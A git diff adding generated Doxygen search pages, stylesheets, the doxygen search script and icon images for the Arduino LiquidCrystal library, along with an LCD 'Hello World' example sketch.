+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_65.html b/libraries/LiquidCrystal/docs/html/search/functions_65.html new file mode 100644 index 0000000..86ec5ea --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_65.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ expanderWrite + LiquidCrystal_I2C +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_66.html b/libraries/LiquidCrystal/docs/html/search/functions_66.html new file mode 100644 index 0000000..8cdaa77 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_66.html @@ -0,0 +1,98 @@ + + + + + + + +
+
Loading...
+ + + + + + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_68.html b/libraries/LiquidCrystal/docs/html/search/functions_68.html new file mode 100644 index 0000000..15aec73 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_68.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ home + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_69.html b/libraries/LiquidCrystal/docs/html/search/functions_69.html new file mode 100644 index 0000000..dc3dc28 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_69.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO + I2CIO +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_6c.html b/libraries/LiquidCrystal/docs/html/search/functions_6c.html new file mode 100644 index 0000000..1de9e5b --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_6c.html @@ -0,0 +1,83 @@ + + + + + + + +
+
Loading...
+
+
+ LCD + LCD +
+
+
+
+ leftToRight + LCD +
+
+ + +
+
+ LiquidCrystal_SR + LiquidCrystal_SR +
+
+
+
+ LiquidCrystal_SR2W + LiquidCrystal_SR2W +
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_6d.html b/libraries/LiquidCrystal/docs/html/search/functions_6d.html new file mode 100644 index 0000000..6a0ea3f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_6d.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ moveCursorLeft + LCD +
+
+
+
+ moveCursorRight + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_6e.html b/libraries/LiquidCrystal/docs/html/search/functions_6e.html new file mode 100644 index 0000000..02acfb2 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_6e.html @@ -0,0 +1,50 @@ + + + + + + + +
+
Loading...
+
+
+ noAutoscroll + LCD +
+
+
+
+ noBacklight + LCD +
+
+ +
+
+ noCursor + LCD +
+
+
+
+ noDisplay + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_6f.html b/libraries/LiquidCrystal/docs/html/search/functions_6f.html new file mode 100644 index 0000000..e5e659c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_6f.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ off + LCD +
+
+
+
+ on + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_70.html b/libraries/LiquidCrystal/docs/html/search/functions_70.html new file mode 100644 index 0000000..16e8ed0 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_70.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ pinMode + I2CIO +
+
+
+
+ portMode + I2CIO +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_72.html b/libraries/LiquidCrystal/docs/html/search/functions_72.html new file mode 100644 index 0000000..31d4b8e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_72.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ read + I2CIO +
+
+
+
+ rightToLeft + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_73.html b/libraries/LiquidCrystal/docs/html/search/functions_73.html new file mode 100644 index 0000000..8bf5e07 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_73.html @@ -0,0 +1,75 @@ + + + + + + + +
+
Loading...
+
+
+ scrollDisplayLeft + LCD +
+
+
+
+ scrollDisplayRight + LCD +
+
+ + + +
+
+ setCursor + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_77.html b/libraries/LiquidCrystal/docs/html/search/functions_77.html new file mode 100644 index 0000000..d81a974 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_77.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+
+
+ waitUsec + LCD.h +
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/mag_sel.png b/libraries/LiquidCrystal/docs/html/search/mag_sel.png new file mode 100644 index 0000000000000000000000000000000000000000..81f6040a2092402b4d98f9ffa8855d12a0d4ca17 GIT binary patch literal 563 zcmV-30?hr1P)zxx&tqG15pu7)IiiXFflOc2k;dXd>%13GZAy? zRz!q0=|E6a6vV)&ZBS~G9oe0kbqyw1*gvY`{Pop2oKq#FlzgXt@Xh-7fxh>}`Fxg> z$%N%{$!4=5nM{(;=c!aG1Ofr^Do{u%Ih{^&Fc@H2)+a-?TBXrw5DW&z%Nb6mQ!L9O zl}b@6mB?f=tX3;#vl)}ggh(Vpyh(IK z(Mb0D{l{U$FsRjP;!{($+bsaaVi8T#1c0V#qEIOCYa9@UVLV`f__E81L;?WEaRA;Y zUH;rZ;vb;mk7JX|$=i3O~&If0O@oZfLg8gfIjW=dcBsz;gI=!{-r4# z4%6v$&~;q^j7Fo67yJ(NJWuX+I~I!tj^nW3?}^9bq|<3^+vapS5sgM^x7!cs(+mMT z&y%j};&~po+YO)3hoUH4E*E;e9>?R6SS&`X)p`njycAVcg{rEb41T{~Hk(bl-7eSb zmFxA2uIqo#@R?lKm50ND`~6Nfn|-b1|L6O98vt3Tx@gKz#isxO002ovPDHLkV1kyW B_l^Jn literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/search/nomatches.html b/libraries/LiquidCrystal/docs/html/search/nomatches.html new file mode 100644 index 0000000..b1ded27 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/nomatches.html @@ -0,0 +1,12 @@ + + + + + + + +
+
No Matches
+
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/search.css b/libraries/LiquidCrystal/docs/html/search/search.css new file mode 100644 index 0000000..50249e5 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/search.css @@ -0,0 +1,240 @@ +/*---------------- Search Box */ + +#FSearchBox { + float: left; +} + +#searchli { + float: right; + display: block; + width: 170px; + height: 36px; +} + +#MSearchBox { + white-space : nowrap; + position: absolute; + float: none; + display: inline; + margin-top: 8px; + right: 0px; + width: 170px; + z-index: 102; +} + +#MSearchBox .left +{ + display:block; + position:absolute; + left:10px; + width:20px; + height:19px; + background:url('search_l.png') no-repeat; + background-position:right; +} + +#MSearchSelect { + display:block; + position:absolute; + width:20px; + height:19px; +} + +.left #MSearchSelect { + left:4px; +} + +.right #MSearchSelect { + right:5px; +} + +#MSearchField { + display:block; + position:absolute; + height:19px; + background:url('search_m.png') repeat-x; + border:none; + width:116px; + margin-left:20px; + padding-left:4px; + color: #909090; + outline: none; + font: 9pt Arial, Verdana, sans-serif; +} + +#FSearchBox #MSearchField { + margin-left:15px; +} + +#MSearchBox .right { + display:block; + position:absolute; + right:10px; + top:0px; + width:20px; + height:19px; + background:url('search_r.png') no-repeat; + background-position:left; +} + +#MSearchClose { + display: none; + position: absolute; + top: 4px; + background : none; + border: none; + margin: 0px 4px 0px 0px; + padding: 0px 0px; + outline: none; +} + +.left #MSearchClose { + left: 6px; +} + +.right #MSearchClose { + right: 2px; +} + +.MSearchBoxActive #MSearchField { + color: #000000; +} + +/*---------------- Search filter selection */ + +#MSearchSelectWindow { + display: none; + position: absolute; + left: 0; top: 0; + border: 1px solid #90A5CE; + background-color: #F9FAFC; + z-index: 1; + padding-top: 4px; + padding-bottom: 4px; + -moz-border-radius: 4px; + -webkit-border-top-left-radius: 4px; + -webkit-border-top-right-radius: 4px; + -webkit-border-bottom-left-radius: 4px; + -webkit-border-bottom-right-radius: 4px; + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); +} + +.SelectItem { + font: 8pt Arial, Verdana, sans-serif; + padding-left: 2px; + padding-right: 12px; + border: 0px; +} + +span.SelectionMark { + margin-right: 4px; + font-family: monospace; + outline-style: none; + text-decoration: none; +} + +a.SelectItem { + display: block; + outline-style: none; + color: #000000; + text-decoration: none; + padding-left: 6px; + padding-right: 12px; +} + +a.SelectItem:focus, +a.SelectItem:active { + color: #000000; + outline-style: none; + text-decoration: none; +} + +a.SelectItem:hover { + color: #FFFFFF; + background-color: #3D578C; + outline-style: none; + text-decoration: none; + cursor: pointer; + display: block; +} + +/*---------------- Search results window */ + +iframe#MSearchResults { + width: 60ex; + height: 15em; +} + +#MSearchResultsWindow { + display: none; + position: absolute; + left: 0; top: 0; + border: 1px solid #000; + background-color: #EEF1F7; +} + +/* ----------------------------------- */ + + +#SRIndex { + clear:both; + padding-bottom: 15px; +} + +.SREntry { + font-size: 10pt; + padding-left: 1ex; +} + +.SRPage .SREntry { + font-size: 8pt; + padding: 1px 5px; +} + +body.SRPage { + margin: 5px 2px; +} + +.SRChildren { + padding-left: 3ex; padding-bottom: .5em +} + +.SRPage .SRChildren { + display: none; +} + +.SRSymbol { + font-weight: bold; + color: #425E97; + font-family: Arial, Verdana, sans-serif; + text-decoration: none; + outline: none; +} + +a.SRScope { + display: block; + color: #425E97; + font-family: Arial, Verdana, sans-serif; + text-decoration: none; + outline: none; +} + +a.SRSymbol:focus, a.SRSymbol:active, +a.SRScope:focus, a.SRScope:active { + text-decoration: underline; +} + +.SRPage .SRStatus { + padding: 2px 5px; + font-size: 8pt; + font-style: italic; +} + +.SRResult { + display: none; +} + +DIV.searchresults { + margin-left: 10px; + margin-right: 10px; +} diff --git a/libraries/LiquidCrystal/docs/html/search/search.js b/libraries/LiquidCrystal/docs/html/search/search.js new file mode 100644 index 0000000..1b2829a --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/search.js @@ -0,0 +1,742 @@ +// Search script generated by doxygen +// Copyright (C) 2009 by Dimitri van Heesch. + +// The code in this file is loosly based on main.js, part of Natural Docs, +// which is Copyright (C) 2003-2008 Greg Valure +// Natural Docs is licensed under the GPL. + +var indexSectionsWithContent = +{ + 0: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111011001111101110010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 1: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 2: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 3: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111101011001111101100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 4: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 5: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 6: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 7: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 8: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111010001000001110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" +}; + +var indexSectionNames = +{ + 0: "all", + 1: "classes", + 2: "files", + 3: "functions", + 4: "variables", + 5: "typedefs", + 6: "enums", + 7: "enumvalues", + 8: "defines" +}; + +function convertToId(search) +{ + var result = ''; + for (i=0;i do a search + { + this.Search(); + } + } + + this.OnSearchSelectKey = function(evt) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==40 && this.searchIndex0) // Up + { + this.searchIndex--; + this.OnSelectItem(this.searchIndex); + } + else if (e.keyCode==13 || e.keyCode==27) + { + this.OnSelectItem(this.searchIndex); + this.CloseSelectionWindow(); + this.DOMSearchField().focus(); + } + return false; + } + + // --------- Actions + + // Closes the results window. + this.CloseResultsWindow = function() + { + this.DOMPopupSearchResultsWindow().style.display = 'none'; + this.DOMSearchClose().style.display = 'none'; + this.Activate(false); + } + + this.CloseSelectionWindow = function() + { + this.DOMSearchSelectWindow().style.display = 'none'; + } + + // Performs a search. + this.Search = function() + { + this.keyTimeout = 0; + + // strip leading whitespace + var searchValue = this.DOMSearchField().value.replace(/^ +/, ""); + + var code = searchValue.toLowerCase().charCodeAt(0); + var hexCode; + if (code<16) + { + hexCode="0"+code.toString(16); + } + else + { + hexCode=code.toString(16); + } + + var resultsPage; + var resultsPageWithSearch; + var hasResultsPage; + + if (indexSectionsWithContent[this.searchIndex].charAt(code) == '1') + { + resultsPage = this.resultsPath + '/' + indexSectionNames[this.searchIndex] + '_' + hexCode + '.html'; + resultsPageWithSearch = resultsPage+'?'+escape(searchValue); + hasResultsPage = true; + } + else // nothing available for this search term + { + resultsPage = this.resultsPath + '/nomatches.html'; + resultsPageWithSearch = resultsPage; + hasResultsPage = false; + } + + window.frames.MSearchResults.location.href = resultsPageWithSearch; + var domPopupSearchResultsWindow = this.DOMPopupSearchResultsWindow(); + + if (domPopupSearchResultsWindow.style.display!='block') + { + var domSearchBox = this.DOMSearchBox(); + this.DOMSearchClose().style.display = 'inline'; + if (this.insideFrame) + { + var domPopupSearchResults = this.DOMPopupSearchResults(); + domPopupSearchResultsWindow.style.position = 'relative'; + domPopupSearchResultsWindow.style.display = 'block'; + var width = document.body.clientWidth - 8; // the -8 is for IE :-( + domPopupSearchResultsWindow.style.width = width + 'px'; + domPopupSearchResults.style.width = width + 'px'; + } + else + { + var domPopupSearchResults = this.DOMPopupSearchResults(); + var left = getXPos(domSearchBox) + 150; // domSearchBox.offsetWidth; + var top = getYPos(domSearchBox) + 20; // domSearchBox.offsetHeight + 1; + domPopupSearchResultsWindow.style.display = 'block'; + left -= domPopupSearchResults.offsetWidth; + domPopupSearchResultsWindow.style.top = top + 'px'; + domPopupSearchResultsWindow.style.left = left + 'px'; + } + } + + this.lastSearchValue = searchValue; + this.lastResultsPage = resultsPage; + } + + // -------- Activation Functions + + // Activates or deactivates the search panel, resetting things to + // their default values if necessary. + this.Activate = function(isActive) + { + if (isActive || // open it + this.DOMPopupSearchResultsWindow().style.display == 'block' + ) + { + this.DOMSearchBox().className = 'MSearchBoxActive'; + + var searchField = this.DOMSearchField(); + + if (searchField.value == this.searchLabel) // clear "Search" term upon entry + { + searchField.value = ''; + this.searchActive = true; + } + } + else if (!isActive) // directly remove the panel + { + this.DOMSearchBox().className = 'MSearchBoxInactive'; + this.DOMSearchField().value = this.searchLabel; + this.searchActive = false; + this.lastSearchValue = '' + this.lastResultsPage = ''; + } + } +} + +// ----------------------------------------------------------------------- + +// The class that handles everything on the search results page. +function SearchResults(name) +{ + // The number of matches from the last run of . + this.lastMatchCount = 0; + this.lastKey = 0; + this.repeatOn = false; + + // Toggles the visibility of the passed element ID. + this.FindChildElement = function(id) + { + var parentElement = document.getElementById(id); + var element = parentElement.firstChild; + + while (element && element!=parentElement) + { + if (element.nodeName == 'DIV' && element.className == 'SRChildren') + { + return element; + } + + if (element.nodeName == 'DIV' && element.hasChildNodes()) + { + element = element.firstChild; + } + else if (element.nextSibling) + { + element = element.nextSibling; + } + else + { + do + { + element = element.parentNode; + } + while (element && element!=parentElement && !element.nextSibling); + + if (element && element!=parentElement) + { + element = element.nextSibling; + } + } + } + } + + this.Toggle = function(id) + { + var element = this.FindChildElement(id); + if (element) + { + if (element.style.display == 'block') + { + element.style.display = 'none'; + } + else + { + element.style.display = 'block'; + } + } + } + + // Searches for the passed string. If there is no parameter, + // it takes it from the URL query. + // + // Always returns true, since other documents may try to call it + // and that may or may not be possible. + this.Search = function(search) + { + if (!search) // get search word from URL + { + search = window.location.search; + search = search.substring(1); // Remove the leading '?' + search = unescape(search); + } + + search = search.replace(/^ +/, ""); // strip leading spaces + search = search.replace(/ +$/, ""); // strip trailing spaces + search = search.toLowerCase(); + search = convertToId(search); + + var resultRows = document.getElementsByTagName("div"); + var matches = 0; + + var i = 0; + while (i < resultRows.length) + { + var row = resultRows.item(i); + if (row.className == "SRResult") + { + var rowMatchName = row.id.toLowerCase(); + rowMatchName = rowMatchName.replace(/^sr\d*_/, ''); // strip 'sr123_' + + if (search.length<=rowMatchName.length && + rowMatchName.substr(0, search.length)==search) + { + row.style.display = 'block'; + matches++; + } + else + { + row.style.display = 'none'; + } + } + i++; + } + document.getElementById("Searching").style.display='none'; + if (matches == 0) // no results + { + document.getElementById("NoMatches").style.display='block'; + } + else // at least one result + { + document.getElementById("NoMatches").style.display='none'; + } + this.lastMatchCount = matches; + return true; + } + + // return the first item with index index or higher that is visible + this.NavNext = function(index) + { + var focusItem; + while (1) + { + var focusName = 'Item'+index; + focusItem = document.getElementById(focusName); + if (focusItem && focusItem.parentNode.parentNode.style.display=='block') + { + break; + } + else if (!focusItem) // last element + { + break; + } + focusItem=null; + index++; + } + return focusItem; + } + + this.NavPrev = function(index) + { + var focusItem; + while (1) + { + var focusName = 'Item'+index; + focusItem = document.getElementById(focusName); + if (focusItem && focusItem.parentNode.parentNode.style.display=='block') + { + break; + } + else if (!focusItem) // last element + { + break; + } + focusItem=null; + index--; + } + return focusItem; + } + + this.ProcessKeys = function(e) + { + if (e.type == "keydown") + { + this.repeatOn = false; + this.lastKey = e.keyCode; + } + else if (e.type == "keypress") + { + if (!this.repeatOn) + { + if (this.lastKey) this.repeatOn = true; + return false; // ignore first keypress after keydown + } + } + else if (e.type == "keyup") + { + this.lastKey = 0; + this.repeatOn = false; + } + return this.lastKey!=0; + } + + this.Nav = function(evt,itemIndex) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==13) return true; + if (!this.ProcessKeys(e)) return false; + + if (this.lastKey==38) // Up + { + var newIndex = itemIndex-1; + var focusItem = this.NavPrev(newIndex); + if (focusItem) + { + var child = this.FindChildElement(focusItem.parentNode.parentNode.id); + if (child && child.style.display == 'block') // children visible + { + var n=0; + var tmpElem; + while (1) // search for last child + { + tmpElem = document.getElementById('Item'+newIndex+'_c'+n); + if (tmpElem) + { + focusItem = tmpElem; + } + else // found it! + { + break; + } + n++; + } + } + } + if (focusItem) + { + focusItem.focus(); + } + else // return focus to search field + { + parent.document.getElementById("MSearchField").focus(); + } + } + else if (this.lastKey==40) // Down + { + var newIndex = itemIndex+1; + var focusItem; + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem && elem.style.display == 'block') // children visible + { + focusItem = document.getElementById('Item'+itemIndex+'_c0'); + } + if (!focusItem) focusItem = this.NavNext(newIndex); + if (focusItem) focusItem.focus(); + } + else if (this.lastKey==39) // Right + { + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem) elem.style.display = 'block'; + } + else if (this.lastKey==37) // Left + { + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem) elem.style.display = 'none'; + } + else if (this.lastKey==27) // Escape + { + parent.searchBox.CloseResultsWindow(); + parent.document.getElementById("MSearchField").focus(); + } + else if (this.lastKey==13) // Enter + { + return true; + } + return false; + } + + this.NavChild = function(evt,itemIndex,childIndex) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==13) return true; + if (!this.ProcessKeys(e)) return false; + + if (this.lastKey==38) // Up + { + if (childIndex>0) + { + var newIndex = childIndex-1; + document.getElementById('Item'+itemIndex+'_c'+newIndex).focus(); + } + else // already at first child, jump to parent + { + document.getElementById('Item'+itemIndex).focus(); + } + } + else if (this.lastKey==40) // Down + { + var newIndex = childIndex+1; + var elem = document.getElementById('Item'+itemIndex+'_c'+newIndex); + if (!elem) // last child, jump to parent next parent + { + elem = this.NavNext(itemIndex+1); + } + if (elem) + { + elem.focus(); + } + } + else if (this.lastKey==27) // Escape + { + parent.searchBox.CloseResultsWindow(); + parent.document.getElementById("MSearchField").focus(); + } + else if (this.lastKey==13) // Enter + { + return true; + } + return false; + } +} diff --git a/libraries/LiquidCrystal/docs/html/search/search_l.png b/libraries/LiquidCrystal/docs/html/search/search_l.png new file mode 100644 index 0000000000000000000000000000000000000000..c872f4da4a01d0754f923e6c94fd8159c0621bd1 GIT binary patch literal 604 zcmV-i0;BzjP)k7RCwB~R6VQOP#AvB$vH7i{6H{96zot$7cZT<7246EF5Np6N}+$IbiG6W zg#87A+NFaX+=_^xM1#gCtshC=E{%9^uQX_%?YwXvo{#q&MnpJ8uh(O?ZRc&~_1%^SsPxG@rfElJg-?U zm!Cz-IOn(qJP3kDp-^~qt+FGbl=5jNli^Wj_xIBG{Rc0en{!oFvyoNC7{V~T8}b>| z=jL2WIReZzX(YN(_9fV;BBD$VXQIxNasAL8ATvEu822WQ%mvv4FO#qs` BFGc_W literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/search/search_r.png b/libraries/LiquidCrystal/docs/html/search/search_r.png new file mode 100644 index 0000000000000000000000000000000000000000..97ee8b439687084201b79c6f776a41f495c6392a GIT binary patch literal 612 zcmV-q0-ODbP)PbXFRCwB?)W514K@j&X?z2*SxFI6-@HT2E2K=9X9%Pb zEK*!TBw&g(DMC;|A)uGlRkOS9vd-?zNs%bR4d$w+ox_iFnE8fvIvv7^5<(>Te12Li z7C)9srCzmK{ZcNM{YIl9j{DePFgOWiS%xG@5CnnnJa4nvY<^glbz7^|-ZY!dUkAwd z{gaTC@_>b5h~;ug#R0wRL0>o5!hxm*s0VW?8dr}O#zXTRTnrQm_Z7z1Mrnx>&p zD4qifUjzLvbVVWi?l?rUzwt^sdb~d!f_LEhsRVIXZtQ=qSxuxqm zEX#tf>$?M_Y1-LSDT)HqG?`%-%ZpY!#{N!rcNIiL;G7F0`l?)mNGTD9;f9F5Up3Kg zw}a<-JylhG&;=!>B+fZaCX+?C+kHYrP%c?X2!Zu_olK|GcS4A70HEy;vn)I0>0kLH z`jc(WIaaHc7!HS@f*^R^Znx8W=_jIl2oWJoQ*h1^$FX!>*PqR1J8k|fw}w_y}TpE>7m8DqDO<3z`OzXt$ccSejbEZCg@0000 + + + + + + +
+
Loading...
+
+
+ fio_bit + FastIO.h +
+
+
+
+ fio_register + FastIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/variables_5f.html b/libraries/LiquidCrystal/docs/html/search/variables_5f.html new file mode 100644 index 0000000..0bac2f1 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/variables_5f.html @@ -0,0 +1,56 @@ + + + + + + + +
+
Loading...
+
+
+ _cols + LCD +
+
+
+
+ _displaycontrol + LCD +
+
+
+
+ _displayfunction + LCD +
+
+
+
+ _displaymode + LCD +
+
+
+
+ _numlines + LCD +
+
+
+
+ _polarity + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/tab_a.png b/libraries/LiquidCrystal/docs/html/tab_a.png new file mode 100644 index 0000000000000000000000000000000000000000..2d99ef23fed78c7683f0b5aa803d937060d288c4 GIT binary patch literal 140 zcmeAS@N?(olHy`uVBq!ia0vp^j6kfy!2~3aiye;!Qo)`sjv*C{Z|CmjY;X`^DSv)) z;hc^cTF;t%XWXdwWP5+kt?jQ5uhqKtjd^EY`^^-S;M%tFAj_l)EwVTK)E@1LSD0{e q?a6($SGQTzz1#QBzr0NMKf^0WCX-0bi?u-G89ZJ6T-G@yGywp8?ljB* literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/tab_b.png b/libraries/LiquidCrystal/docs/html/tab_b.png new file mode 100644 index 0000000000000000000000000000000000000000..b2c3d2be3c7e518fbca6bb30f571882e72fc506d GIT binary patch literal 178 zcmeAS@N?(olHy`uVBq!ia0vp^j6kfy!2~3aiye;!Qk9-Ajv*C{Z|~mbJ)|JfaM8Xd zIP7xAmLwau9@iXhZTrl-TjWj9jM#?{xt`6uU{<)jb9Suc^QnbhJ(o{ib8=j9u0_mE8M7kgF7f<7W7IEf=8(L_qx|g0H;V7iPxm&Q@G7p8W2Kx&iT|YUM=ITC zY<0Qbr;u&AtXD{o@41wH=7&d8=2Z_{M9Tsa=g*t*@A3H$UOlxZk7?f6RUWpx>Fc_L s#LQ{edY3MpIXkMeV^&YV=9fR%8Jv|Kya=#u06K}m)78&qol`;+0RKEt)&Kwi literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/tab_s.png b/libraries/LiquidCrystal/docs/html/tab_s.png new file mode 100644 index 0000000000000000000000000000000000000000..978943ac807718de0e69e5a585a8f0a1e5999285 GIT binary patch literal 189 zcmeAS@N?(olHy`uVBq!ia0vp^j6kfy!2~3aiye;!QZ1e?jv*C{Z|}b5Yzkm-c<7z3 zq^cq0=~}Z;b(!Zvb5Z%sTRFKGlz1=qOFg;myyu?$r`wZb^irPsN1a)6)TwB0r+)wb zPL25;=adu89?fTK`qDR>$D*)b_WOmdKI;Vst02j(hg8%>k literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/tabs.css b/libraries/LiquidCrystal/docs/html/tabs.css new file mode 100644 index 0000000..2192056 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/tabs.css @@ -0,0 +1,59 @@ +.tabs, .tabs2, .tabs3 { + background-image: url('tab_b.png'); + width: 100%; + z-index: 101; + font-size: 13px; +} + +.tabs2 { + font-size: 10px; +} +.tabs3 { + font-size: 9px; +} + +.tablist { + margin: 0; + padding: 0; + display: table; +} + +.tablist li { + float: left; + display: table-cell; + background-image: url('tab_b.png'); + line-height: 36px; + list-style: none; +} + +.tablist a { + display: block; + padding: 0 20px; + font-weight: bold; + background-image:url('tab_s.png'); + background-repeat:no-repeat; + background-position:right; + color: #283A5D; + text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); + text-decoration: none; + outline: none; +} + +.tabs3 .tablist a { + padding: 0 10px; +} + +.tablist a:hover { + background-image: url('tab_h.png'); + background-repeat:repeat-x; + color: #fff; + text-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); + text-decoration: none; +} + +.tablist li.current a { + background-image: url('tab_a.png'); + background-repeat:repeat-x; + color: #fff; + text-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); +} diff --git a/libraries/LiquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde b/libraries/LiquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde new file mode 100644 index 0000000..0c06514 --- /dev/null +++ b/libraries/LiquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde @@ -0,0 +1,78 @@ +#include +#include + + +#define CONTRAST_PIN 9 +#define BACKLIGHT_PIN 7 +#define CONTRAST 110 +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGH_PIN, POSITIVE ); + + +// Creat a set of new characters +byte smiley[8] = { + 0b00000, + 0b00000, + 0b01010, + 0b00000, + 0b00000, + 0b10001, + 0b01110, + 0b00000 +}; + +byte armsUp[8] = { + 0b00100, + 0b01010, + 0b00100, + 0b10101, + 0b01110, + 0b00100, + 0b00100, + 0b01010 +}; + +byte frownie[8] = { + 0b00000, + 0b00000, + 0b01010, + 0b00000, + 0b00000, + 0b00000, + 0b01110, + 0b10001 +}; + +void setup() +{ + Serial.begin ( 57600 ); + + // Switch on the backlight and LCD contrast levels + pinMode(CONTRAST_PIN, OUTPUT); + analogWrite ( CONTRAST_PIN, CONTRAST ); + + //lcd.setBacklightPin ( BACKLIGHT_PIN, POSITIVE ); + //lcd.setBacklight ( HIGH ); + lcd.backlight(); + + lcd.begin(16,2); // initialize the lcd + + lcd.createChar (0, smiley); // load character to the LCD + lcd.createChar (1, armsUp); // load character to the LCD + lcd.createChar (2, frownie); // load character to the LCD + + lcd.home (); // go home + lcd.print("Hello, ARDUINO "); + lcd.setCursor ( 0, 1 ); // go to the next line + lcd.print (" FORUM - fm "); +} + +void loop() +{ + // Do a little animation by writing to the same location + lcd.setCursor ( 14, 1 ); + lcd.print (char(2)); + delay (200); + lcd.setCursor ( 14, 1 ); + lcd.print ( char(0)); + delay (200); +} diff --git a/libraries/LiquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde b/libraries/LiquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde new file mode 100644 index 0000000..1112e78 --- /dev/null +++ b/libraries/LiquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde @@ -0,0 +1,36 @@ +#include +#include + 